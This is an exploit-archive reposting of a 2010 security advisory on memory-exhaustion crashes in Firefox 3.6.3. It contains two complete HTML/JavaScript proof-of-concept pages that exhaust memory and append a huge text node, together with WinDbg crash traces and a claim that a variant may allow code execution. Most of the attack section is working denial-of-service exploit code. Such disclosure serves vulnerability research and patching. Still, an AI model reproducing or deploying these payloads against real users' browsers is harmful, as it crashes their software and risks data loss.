Firefox 3.6.3 (latest) <= memory exhaustion crash vulnerabilities

2010.05.25
Credit: geinblues
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-399

Title: Firefox 3.6.3 (latest) <= memory exhaustion crash vulnerabilities 0x01. Description: Memory exhaustion of Firefox 3.6.3 (latest) <= makes firefox can't make texts into body element and then it crashed. ( raise exception using PoC #1, lower memory area read access violation using PoC #2 ) Ofcourse an variation PoC made NULL Pointer deref so may also could be code execution ( 0.1 % ). :-) URL: http://www.x90c.org/advisories/firefox_3.6.3_crash_advisory.txt Vendor Status: unpatched. ( to now... doesn't exists any reliable exploit so i disclosed to bugtraq firstly ) 0x02. Proof of Concepts: [PoC #1 - firefox_3.6.3_dos_poc_1.htm] -- <HTML> <HEAD> <SCRIPT LANGUAGE="javascript"> // Mozilla Firefox <= 3.6.3 (Win32) 0Day DoS Proof-of-Concept #1 // // o Summary: // After loading this PoC, about 40 seconds later triggered. // Crashes are occured at a same location. // // -- // 7c7e2af5 ff1510157d7c call dword ptr [kernel32!_imp__RtlRaiseException (7c7d1510)] // ds:0023:7c7d1510={ntdll!RtlRaiseException (7c93e528)} ( raised ) // // ##### 100% same below crash. exception raised. ##### // (f34.850): C++ EH exception - code e06d7363 (first chance) // (f34.850): C++ EH exception - code e06d7363 (!!! second chance !!!) // eax=0012aa58 ebx=01000121 ecx=00000000 edx=781d7ba8 esi=0012aae0 edi=2f900008 // eip=7c7e2afb esp=0012aa54 ebp=0012aaa8 iopl=0 nv up ei pl nz na pe nc // cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 // kernel32!RaiseException+0x53: // 7c7e2afb 5e pop esi // -- // // Call Stack: // 00 0012aa28 7815c54b e06d7363 00000001 00000003 kernel32!RaiseException+0x53 // WARNING: Stack unwind information not available. Following frames may be wrong. // 01 0012aa60 78164f33 0012aa70 781caa24 781ac11c MOZCRT19!CxxThrowException+0x46 // 02 0012aa78 100cd464 08c00060 0012b1a0 21500008 MOZCRT19!operator new+0x73 // 03 00000000 00000000 00000000 00000000 00000000 xul!gfxWindowsFontGroup::MakeTextRun+0x54 // Trace: // MOZCRT19!operator new: // 78164ec0 8b442404 mov eax,dword ptr [esp+4] // 78164ec4 83ec0c sub esp,0Ch // 78164ec7 50 push eax // 78164ec8 e8134bfdff call MOZCRT19!malloc (781399e0) // ... // 78164f26 c74424081cc11a78 mov dword ptr [esp+8],offset MOZCRT19!exception::`vftable'+0xc14 (781ac11c) // 78164f2e e8d275ffff call MOZCRT19!CxxThrowException (7815c505) ; Throw Exception. // 78164f33 83c40c add esp,0Ch // 78164f36 c3 ret // // MOZCRT19!CxxThrowException: // 7815c505 55 push ebp // 7815c506 8bec mov ebp,esp // 7815c508 83ec20 sub esp,20h // ... // 7815c545 ff15e4911a78 call dword ptr [MOZCRT19!modf+0x87d4 (781a91e4)] ds:0023:781a91e4= // {kernel32!RaiseException (7c7e2aa9)} ; Raise Exception! // // o Impact: DoS ( Exception Raise ) // // o Tested on: // - MS Win XP SP3 (ko) // - Mozilla Firefox 3.6.3 (Win32) (ko) // ( Mozilla/5.0, rv:1.9.2.3, Gecko/20100401 ) // // P.S: This vulnerability similer with the CVE-2009-1571 [1] but it's patched on Firefox 3.6 // so this is *not the same vulnerability*! // // [1] CVE-2009-1571 ( Credit: Alin Rad Pop of Secunia ) - Thanks to Alin Rad Pop. // - http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1571 // // o Discovered by x90c in INetCop(c) Security during analysis. // o Discovered date: 2010.03.04 // o Personal homepage: http://www.x90c.org // // Greets to Xpl017Elz(x82), rebel // function append_text_into_body() { var p1 = document.getElementById('p1'); var Text1 = ""; var TextNode = null; // Trigger! MakeFont... into p element on body element. for(var i = 0; i < 0x700000 / 4; i++) { Text1 = Text1 + "AAAA"; } TextNode = document.createTextNode(Text1); p1.appendChild(TextNode); // Memory Exhaustion makes FireFox can't make Texts it caused an crash. } var arr1, arr2, arr3, arr4, arr5; var a = 1; var timer; function fill_all_memory() { var chunk = unescape("%u4141%u4141"); var i = 0; if( a > 5 ) { a++; } if(a >= 30) { append_text_into_body(); } while(chunk.length <= 0x400000) { chunk = chunk + chunk; } chunk = chunk + chunk + chunk; chunk = chunk.substring(0, chunk.length); if(a == 1) { arr1 = new Array(); for(i = 0; i < 0xd0; i++) { arr1[i] = chunk; } a = 2; } else if(a == 2) { arr2 = new Array(); for(i = 0; i < 0xd0; i++) { arr2[i] = chunk; } a = 3; } else if(a == 3) { arr3 = new Array(); for(i = 0; i < 0xd0; i++) { arr3[i] = chunk; } a = 4; } else if(a == 4) { arr4 = new Array(); for(i = 0; i < 0xd0; i++) { arr4[i] = chunk; } a = 5; } else if(a == 5) { arr5 = new Array(); for(i = 0; i < 0xd0; i++) { arr5[i] = chunk; } a = 6; } } function try_fill() { fill_all_memory(); setTimeout("try_fill();", 500); } </SCRIPT> </HEAD> <BODY onload="try_fill();"> <P id='p1'></P> </BODY> </HTML> <!-- [ eoc ] --> [PoC #2 - firefox_3.6.3_dos_poc_2.htm] -- <HTML> <HEAD> <SCRIPT LANGUAGE="javascript"> // Mozilla Firefox <= 3.6.3 (Win32) 0Day DoS Proof-of-Concept #2 // // o Summary: // After loading this PoC, about 40 seconds later triggered. // Crashes are occured at a same location. // // -- // ##### almost 99% below crash ##### // (f0c.8b4): Access violation - code c0000005 (first chance) // First chance exceptions are reported before any exception handling. // This exception may be expected and handled. // eax=0012aab8 ebx=00002226 ecx=000042a4 edx=000000ee esi=00003ce8 edi=000000ee // eip=73f937cd esp=0012a3fc ebp=0012a3fc iopl=0 nv up ei pl zr na pe nc // cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 // USP10!DoubleWideCharMappedString::operator[]+0x1f: // 73f937cd 0fb70448 movzx eax,word ptr [eax+ecx*2] ds:0023:00133000=???? ( beside stack area and unmapped ) // -- // // 0:000> kp // ChildEBP RetAddr // 0012a3fc 73f99a42 USP10!DoubleWideCharMappedString::operator[]+0x1f // 0012a4cc 73f92d34 USP10!ScriptTokenize+0x91 // 0012a4f4 100efc30 USP10!ScriptItemize+0x42 // WARNING: Stack unwind information not available. Following frames may be wrong. // 0012a5a0 7813807d xul!gfxWindowsFontGroup::GetUnderlineOffset+0x4cb0 // 00000000 00000000 MOZCRT19!expand+0x37d // // o Impact: DoS ( may also code execution ) // // o Tested on: // - MS Win XP SP3 (ko) // - Mozilla Firefox 3.6.3 (Win32) (ko) // ( Mozilla/5.0, rv:1.9.2.3, Gecko/20100401 ) // // P.S: This vulnerability similer with the CVE-2009-1571 [1] but it's patched on Firefox 3.6 // so this is *not the same vulnerability*! and this makes same crash with [2] // // [1] CVE-2009-1571 ( Credit: Alin Rad Pop of Secunia ) - Thanks to Alin Rad Pop. // - http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1571 // // [2] All browsers 0day Crash Exploit ( Inj3ct0r Team ) // - http://www.exploit-db.com/exploits/12491 // // o Discovered by x90c in INetCop(c) Security during analysis. // o Discovery date: 2010.03.04 // o Personal homepage: http://www.x90c.org // // Greets to Xpl017Elz(x82), rebel // function append_text_into_body() { var p1 = document.getElementById('p1'); var Text1 = ""; var TextNode = null; // Trigger! MakeFont... into p element on body element. for(var i = 0; i < 0x700000 / 4; i++) { Text1 = Text1 + "AAAA"; } TextNode = document.createTextNode(Text1); p1.appendChild(TextNode); // Memory Exhaustion makes FireFox can't make Texts it caused an crash. } var a = 1; var timer; function fill_all_memory() // This function's variation can makes an null pointer deref without append_text_into_body() calling. { var chunk = unescape("%u4141%u4242"); var i = 0; append_text_into_body(); while(chunk.length <= 0x400000) { chunk = chunk + chunk; } chunk = chunk + chunk + chunk; chunk = chunk.substring(0, chunk.length); } function try_fill() { fill_all_memory(); // this poc makes 99% almost crashed same location as below. // 10: USP10!DoubleWideCharMappedString::operator[]+0x1f: // 73f937cd 0fb70448 movzx eax,word ptr [eax+ecx*2] ds:0023:00133000=???? // 100: '' // 150: '' // 200: '' // 300: '' // 500: '' // 1000: '' // 5000: '' setTimeout("try_fill();", 10); } </SCRIPT> </HEAD> <BODY onload="try_fill();"> <P id='p1'></P> </BODY> </HTML> <!-- [ eoc ] --> Thank you bugtraq securityfocus.

Referencje:

http://www.x90c.org/advisories/firefox_3.6.3_crash_advisory.txt
http://www.securityfocus.com/archive/1/archive/1/511329/100/0/threaded


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top